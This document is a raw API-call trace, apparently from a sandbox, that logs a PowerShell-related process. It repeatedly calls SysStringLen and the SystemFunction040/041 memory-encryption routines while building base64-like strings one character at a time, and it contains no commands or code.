[0255.179] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ㻐డ뜹\x9a剨散ꡅ灁") returned 0x28 [0255.179] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ㻐డ뜹\x9a剨散ꡅ灁") returned 0x28 [0255.179] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuP헐큽䪩걧눚툌") returned 0x28 [0255.180] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ㓤젔⚛ہ팋썫嗢并") returned 0x28 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ㓤젔⚛ہ팋썫嗢并") returned 0x28 [0255.180] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPL큽䪩걧눚툌") returned 0x28 [0255.180] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ悏䜳䉈⧐盗姍鰦") returned 0x28 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ悏䜳䉈⧐盗姍鰦") returned 0x28 [0255.180] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC䪩걧눚툌") returned 0x28 [0255.180] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷᨌﱯ愋鴫\䳜ᬜ宀∢) returned 0x28 [0255.180] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷᨌﱯ愋鴫\䳜ᬜ宀∢) returned 0x28 [0255.181] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.181] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3걧눚툌") returned 0x28 [0255.181] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.181] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ⨸Ƶ\ꇘ忴룠꧰₪⋧) returned 0x28 [0255.181] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ⨸Ƶ\ꇘ忴룠꧰₪⋧) returned 0x28 [0255.181] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.181] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T눚툌") returned 0x28 [0255.181] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.181] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷࣅ刭בֿ㷹杖輴ꐋﱰ") returned 0x28 [0255.181] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷࣅ刭בֿ㷹杖輴ꐋﱰ") returned 0x28 [0255.181] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.181] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+툌") returned 0x28 [0255.181] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ貧Ꮔ탧贴ⴕ쫡樿畢") returned 0x28 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ貧Ꮔ탧贴ⴕ쫡樿畢") returned 0x28 [0255.182] SystemFunction041 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.182] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+l") returned 0x28 [0255.182] SystemFunction040 (in: Memory=0x3af844, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af844) returned 0x0 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤") returned 0x28 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤") returned 0x28 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤") returned 0x28 [0255.182] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤") returned 0x30 [0255.183] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.183] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+lz龜ⴡ黐뼰럝넗⿪") returned 0x30 [0255.183] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.183] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤횼嘯⏓壂笂㫎邷") returned 0x30 [0255.183] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤횼嘯⏓壂笂㫎邷") returned 0x30 [0255.183] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.183] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+lzWⴡ黐뼰럝넗⿪") returned 0x30 [0255.183] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.183] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤텾續淔데⒠緰炽") returned 0x30 [0255.183] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤텾續淔데⒠緰炽") returned 0x30 [0255.183] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.183] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+lzWc黐뼰럝넗⿪") returned 0x30 [0255.184] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.184] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤ꓦ舕䖶ħ㜍焾應⸫") returned 0x30 [0255.184] SysStringLen (param_1="㔒ꛇᣨ克珏瓀娸乘į萳߻荷㺽⚑约鸾⫙ᚤƩꚦ랗刄㿞뀊혷ꊹ檳셆ᨘ셩ἷ殈솝婈␞㓟Ƣ쉤ꓦ舕䖶ħ㜍焾應⸫") returned 0x30 [0255.184] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.184] SysStringLen (param_1="zVxa4vhZQzuu59vQ+sI37Bd+vtlugaeMuPLC3T+lzWc=뼰럝넗⿪") returned 0x30 [0255.184] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0255.184] EtwEventActivityIdControl () returned 0x0 [0255.184] EtwEventActivityIdControl () returned 0x0 [0255.184] EtwEventActivityIdControl () returned 0x0 [0255.185] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.185] EtwEventActivityIdControl () returned 0x0 [0255.185] EtwEventActivityIdControl () returned 0x0 [0255.185] EtwEventActivityIdControl () returned 0x0 [0255.186] SysStringLen (param_1="") returned 0x8 [0255.186] SysStringLen (param_1="N") returned 0x8 [0255.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.186] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.186] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.186] SysStringLen (param_1="ND") returned 0x8 [0255.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.186] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.186] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.187] SysStringLen (param_1="NDZ") returned 0x8 [0255.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.187] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.187] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.187] SysStringLen (param_1="NDZl") returned 0x8 [0255.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.187] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.187] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.187] SysStringLen (param_1="NDZlO") returned 0x8 [0255.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.188] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.188] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.188] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.188] SysStringLen (param_1="NDZlOD") returned 0x8 [0255.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.188] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.188] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.188] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.188] SysStringLen (param_1="NDZlODR") returned 0x8 [0255.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.188] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.188] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.188] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.189] SysStringLen (param_1="NDZlODRm") returned 0x8 [0255.189] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0255.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0255.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.191] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0255.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.191] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0255.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.191] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0255.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.192] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.192] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0255.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.192] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.192] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0255.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0255.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.193] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0255.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0255.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0255.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0255.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0255.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0255.196] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.196] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0255.196] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.196] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0255.196] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0255.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.197] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0255.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.198] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0255.198] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.198] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0255.198] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.198] SysStringLen 